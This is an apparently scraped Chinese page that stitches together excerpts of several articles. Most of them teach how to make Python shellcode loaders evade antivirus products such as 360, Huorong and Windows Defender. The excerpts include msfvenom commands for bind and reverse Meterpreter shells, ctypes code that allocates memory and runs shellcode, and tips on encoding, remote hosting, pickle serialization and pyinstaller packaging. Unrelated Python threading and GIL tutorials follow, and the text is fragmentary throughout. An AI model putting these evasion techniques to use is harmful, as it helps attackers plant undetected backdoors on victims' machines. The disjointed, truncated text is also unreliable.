文章首发于:奇安信补天攻防社区 https://forum.butian.net/share/1690 0x00 前言 python shellcode免杀的常用手法,实现过常见AV的效果。...本文分为几个部分: 1、shellcode加载器实现; 2、代码混淆; 3、寻找免杀api 4、分离免杀,分离加载器与shellcode; 5、python打包成exe 6、组合,免杀效果分析 0x01...pyinstaller或者py2exe、cx_Freeze 我们使用不同的打包程序,最后免杀的效果也不太一样,部分杀软对打包程序本身就加入了特征检测... pyinstaller 安装: python3...+最新版本pyinstaller编译出来的exe,即使什么功能都没有,也会被很多杀软识别,所以我们还是尽量选用 python2+低版本的pyinstaller。...反序列化 + pyinstaller+python3 : 0x07 小节 免杀的方式多种多样,这只是免杀技术的冰山一角角。
语言编写 shellcode loader 以达到静态动态都绕过杀软的目的。...0x03 为什么使用python python语言入门门槛低,上手快,且两三年前就出现了这种免杀方式,但是很多人说网上公开的代码已经不免杀了。事实真的如此吗?...0x04 环境准备 1、python-2.7.17.amd64 下载地址:https://www.python.org/ftp/python/2.7.17/python-2.7.17.amd64.msi...第二:如果你本机还安装了python3的环境,如果你怕麻烦,你可以单独在虚拟机里面安装这个环境,因为python3和python2共存,你还得倒腾一会儿,里面的坑还有 pip2 pip3得区分开等等。...0x09 总结 此种方式的缺点:单文件体积过大,go语言比较小,veil里面有使用go进行免杀的,单文件体积在800kb左右,如果你学过go的语法,建议你利用go语言来免杀,具体操作,你可以在使用veil
本文分为几个部分: 1、shellcode加载器实现; 2、代码混淆; 3、寻找免杀api 4、分离免杀,分离加载器与shellcode; 5、python打包成exe 6、组合,免杀效果分析 0x01...pyinstaller或者py2exe、cx_Freeze 我们使用不同的打包程序,最后免杀的效果也不太一样,部分杀软对打包程序本身就加入了特征检测... pyinstaller 安装: python3...+最新版本pyinstaller编译出来的exe,即使什么功能都没有,也会被很多杀软识别,所以我们还是尽量选用 python2+低版本的pyinstaller。...反序列化 + pyinstaller+python3 : 0x07 小节 免杀的方式多种多样,这只是免杀技术的冰山一角角。...本文我们测试了python常见的一些免杀方法,篇幅问题,没有还有一些没有展示,比如使用一些新的winapi(AllocADsMem、ReallocADsMem等等)、其他的分离方法、加载内存方法...
输入命令: msfvenom -p windows/shell_bind_tcp LPORT=1337 -f c -o payload.c 接着在Python中调用ctypes库,定义一个存在该shellcode.../usr/bin/python #coding=utf-8 from ctypes import * shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5...(image-8dd4e5-1564281446348)] 2、免杀验证: 这里在国内正常是访问不了书上的vscan.novirusthanks.org的,但是下面的验证脚本可以借鉴一下: [ 复制代码...换一个国内的Virscan在线扫描来进行免杀验证:http://www.virscan.org/ 2/29,3.1%的查杀率。 通过对比发现,本章节的方法实现的后门的免杀效果还是很强的。...简单概述来说,就是通过msf生成的后门,第一种可以直接生成exe文件、但是很容易被查杀掉;第二种就是生成c文件,然后通过Python的ctypes库来执行该C语言的payload,接着再将该py文件转换成
1.设置好监听 2.用cs生成python的payload 3.复制出生成的payload,进行base64加密 4.把加密后的内容放在txt里,再放到公网网站上 例:http://example.com
免杀能力一览表 ? 几点说明: 1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。...4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。...5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。...三、Python-Rootkit使用说明 Python-Rootkit使用很简单,只要安装好上面的插件后,执行python.exe setup.py就可以了。...免杀效果整体感觉一般,还是python生成exe,执行后调用powershell下载Invoke-Shellcode.ps1,然后反弹shell,应该很容易触发杀软的行为检测。
所以我们需要了解下它的执行过程,分为四步:(1)申请一片内存;(2)将shellcode放到申请的内存当中;(3)创建线程;(4)执行。...ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode)) #创建线程并执行...移动到申请的内存中 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode))) #创建线程并执行...本文只讨论使用python-ctypes模块加载shellcode的免杀思路和效果 在进行免杀对抗前,先来了解下杀软的查杀原理: 一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。...欢迎评论区留言告诉我哦 参考链接: 小迪师傅ctypes免杀原文 python-ctypes官方文档 python使用ctypes库调用DLL动态链接库 Python x64下ctypes动态链接库出现
一种python反序列化免杀方式 1简介 一种python反序列化免杀方式,过火绒、360、windows defender 2正文 一个python加载器 下面具体举例一个python分离加载的例子...ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) #等待上面创建的线程运行完...也就是说,pickle 可以实现 Python 对象的存储及恢复 crypto graphy.fernet提供python加密lib >>>from cryptography.fernet importFernet...运用反序列化简单免杀 初步尝试下火绒&&360的免杀能力,这两个相对简单些 加入反序列化语句,进行编码如下 #pickle dump import pickle shellcode=""" importctypes...,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升 切记,免杀学的是思路,不是具体的方法,本文的也只是提供了一个思路,擅于思考,也多多考虑多种方法结合。
线程 python的thread模块是比较底层的模块,python的threading模块是对thread做了一些包装的,可以更加方便的被使用 1....%d 根烟"%i) sleep(1) if __name__ == '__main__': smoke() 运行结果: [root@server01 many_task]# python...print('---结束---:%s'%ctime()) 执行如下: [root@server01 many_task]# python test3.py ---开始---:Wed Dec 12 00...print('---结束---:%s'%ctime()) 执行如下: [root@server01 many_task]# python test3.py ---开始---:Wed Dec 12 00...:17:26 2018 抽烟...0 喝酒...0 当前运行的线程数为:3 当前运行的线程数为:3 抽烟...1 当前运行的线程数为:3 喝酒...1 当前运行的线程数为:3 抽烟...2 当前运行的线程数为
在 Python 中,线程可以分为两种类型:主线程和守护线程。主线程是程序的主要执行线程,它会一直运行直到程序结束。而守护线程则是一种支持线程,它的生命周期与主线程或其他非守护线程相关联。...当所有非守护线程结束后,守护线程也会随之结束。守护线程的概念守护线程是一种特殊的线程,它会在主线程或其他非守护线程结束时自动结束。...守护线程通常用来支持主线程或其他非守护线程的工作,当主线程或其他非守护线程退出时,守护线程也会随之退出,从而避免了程序无法正常退出的问题。...在 Python 中,可以通过设置线程对象的 daemon 属性来指定一个线程是否为守护线程。如果一个线程被设置为守护线程,则当所有非守护线程结束时,该线程会自动结束。...在创建线程对象时,可以通过 Thread 类的 daemon 参数来指定一个线程是否为守护线程。默认情况下,所有线程都是非守护线程。
.); CloseHandel(ThreadHandle );//不会直接关闭线程,只是递减线程中的内核对象使用计数。...当使用计数为0时,释放内核对象 一、Createthread:创建线程后如何回收 1.线程的生命周期就是线程函数从开始执行到return,这时候线程就自动回收了 2.而线程句柄是一个内核对象。...,表示不再使用该句柄操作线程(即不对线程做任何干预),但不会释放线程,线程释放按上述1其生命周期完成。...4.句柄操作线程例子,如WaitForSingleObject(ThreadHandle,1000)为等待线程1s的操作,假设判断10s后为线程超时的情况,不必调用TerminateThread杀线程,...等其线程生命周期结束return即可 二、调用TerminateThread杀线程的致命问题: TerminateThread终止线程后,堆栈没有被回收(注意连栈都没有被回收) 整个进程在分配和回收内存时
打造免杀的payload成了一个很重要的话题,在这里,本文将介绍如何使用Pyhton轻松绕过防病毒软件。...0x01 环境准备 1、软件安装 Python 2.7.16 x86:https://www.python.org/ftp/python/2.7.16/python-2.7.16.msiPy2exe 32...sourceforge.net/projects/py2exe/files/py2exe/0.6.9/py2exe-0.6.9.win32-py2.7.exe/download 2、msfvenom生成Python...Payload msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.128 LPORT=443 -f raw -o /var/www...python ./setup.py py2exe ?
线程 Python学累了,想学Java html js vue Tailwindcss 小程序 c4d ae pr 了....什么是线程 进程吸收资源 传递给线程执行业务逻辑 线程与进程的关系 吃饭获得能量和营养(进程), 之后大脑执行逻辑(线程) 进程提供线程执行程序的前置要求,线程在重组的资源配备下,去执行程序 多线程 开启一个浏览器后...,从浏览器(主进程)中创建出多个线程来开启多个页面 多线程的执行方式 一、什么是线程 线程(Thread)是操作系统最小的执行单元,进程至少由一个线程组成。...二、怎样的任务算一个线程 进程被运行后算是一个线程,进程是不运行的,线程才会运行,而一个进程有多个线程就涉及到进程有多少可以被cpu单独调用的模块,这个调用的模块可以通过手动创建线程来建立。...三、在python中如何创建线程 使用的模块:threading 创建的方法:threading.Thread(…) 代码如下:
线程 线程指的就是代码的执行过程 进程其实是一个资源单位,而进程内的线程才是CPU上的执行单位 ? ?...多线程(即多个控制线程)的概念是:在一个进程中存在多个控制线程,多个控制线程共享该进程的地址空间,相当于一个车间内有多条流水线,都共用一个车间的资源。...线程详解 线程和进程的区别 1.同一进程下的多个线程共享该进程内的资源 2.创建线程的开销远远小于进程 ? ?...,不会自己干自己 线程对比进程详解 多线程举例 ?...#2 主线程在其他非守护线程运行完毕后才算运行完毕(守护线程在此时就被回收)。
中的线程是操作系统的原生线程,Python虚拟机使用一个全局解释器锁(Global Interpreter Lock)来互斥线程对Python虚拟机的使用。...在调用任何Python C API之前,要先获得GIL GIL缺点:多处理器退化为单处理器;优点:避免大量的加锁解锁操作 GIL的早期设计 Python支持多线程,而解决多线程之间数据完整性和状态同步的最简单方法自然就是加锁...MySQL这个背后有公司支持且有固定开发团队的产品走的如此艰难,那又更何况Python这样核心开发和代码贡献者高度社区化的团队呢?...GIL的影响 无论你启多少个线程,你有多少个cpu, Python在执行一个进程的时候会淡定的在同一时刻只允许一个线程运行。 所以,python是无法利用多核CPU实现多线程的。...这样,python对于计算密集型的任务开多线程的效率甚至不如串行(没有大量切换),但是,对于IO密集型的任务效率还是有显著提升的。 ? 计算密集型: mutex = threading.RLock()
Python 提供了 Lock 类来实现线程之间的互斥,本文将详细介绍如何使用 Lock 实现线程互斥。...Lock 类Lock 类是 Python 标准库 threading 中的一个同步原语,它提供了 acquire() 和 release() 方法来控制对共享资源的访问。...使用 Lock 实现线程互斥下面我们将通过一个示例来演示如何使用 Lock 实现线程互斥。假设我们有一个共享变量 count,它的初始值为 0,多个线程将会对它进行加 1 操作。...当线程需要对计数器进行加 1 操作时,它将首先尝试获取锁对象 _lock,如果该锁对象已经被其他线程获取,则当前线程将被阻塞,直到该锁对象被释放。...在 Python 中,RLock 类就是一个可重入锁对象,它的使用方法和 Lock 类类似,但允许同一个线程多次获取该锁对象。
python 这么慢 用过 python 的人都知道, 尤其是在有循环的情况下,python 会比 C++ 慢很多,所以很多人都避免在 python 代码里引入复杂的 for 循环。...但是 python 就不一样了,写过的 python 的人都知道,它去掉了变量申明和数据类型。也就是说,无论啥数据,咱啥都不用管,想存就存!那么 python 是如何做到这样洒脱自由的呢?...这就不得不提 python 中万物皆是对象了,真正的数据是存在对象里面的。...我们可以看一些简单的例子: numba 加速 python 的小例子 用 numba 加速 python 代码多简单方便呢,我们先来看看如何使用 numba 加速 python 代码。...我们来具体看一下如何用 numba 加速 python 代码:在实际使用过程中,numba 其实是以装饰器的形式加在 python 函数上的,用户可以不用关心到底 numba 是通过什么方法来优化代码,
一个线程指的是进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每个线程并行执行不同的任务。...由于线程是操作系统直接支持的执行单元,因此,高级语言(如 Python、Java 等)通常都内置多线程的支持。...Python 的标准库提供了两个模块:_thread 和 threading,_thread 是低级模块,threading 是高级模块,对 _thread 进行了封装。...: ---主线程开始--- 子线程Thread-2执行,i = 0 子线程Thread-1执行,i = 0 子线程Thread-2执行,i = 1 子线程Thread-1执行,i = 1 子线程Thread...--- 更多请参考 Python 进阶之路 发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/185303.html原文链接:https://javaforall.cn
简介: Python 线程可以通过主线程,调用线程来执行其他命令, 为Python提供更方便的使用。 ...:依赖于主线程存在的,为主线程工作。 ...功能:设置成守护线程后,主线程关闭,守护线程也连带关闭。...使用场景:socketserver 每一个链接过来,socketserver就会启动一 个线程,当服务端关闭时,需要关闭其他线程,就可以用 到守护线程,关闭。 ...注:主线程MainThread,线程Thread。 threading.current_thread() #测试当前活动的线程类型。
免杀一直是红队和蓝队热议的话题。各种姿势的免杀绕过令人瞠目结舌。python作为当今很热门的编程语言之一,它是如何进行免杀操作的呢? 本文仅供学习和研究,坚决反对一切危害网络安全的行为。...=5555 -f python -o 33.txt 替换关键词。...ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # 创建一个线程从...ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建的线程运行完...免杀测试 360云查杀 电脑管家 在线查杀1/46 混淆shellcode 先用cs或者msf生成python shellcode 然后把shellcode进行BS64加密放在shellcode.txt
领取专属 10元无门槛券
手把手带您无忧上云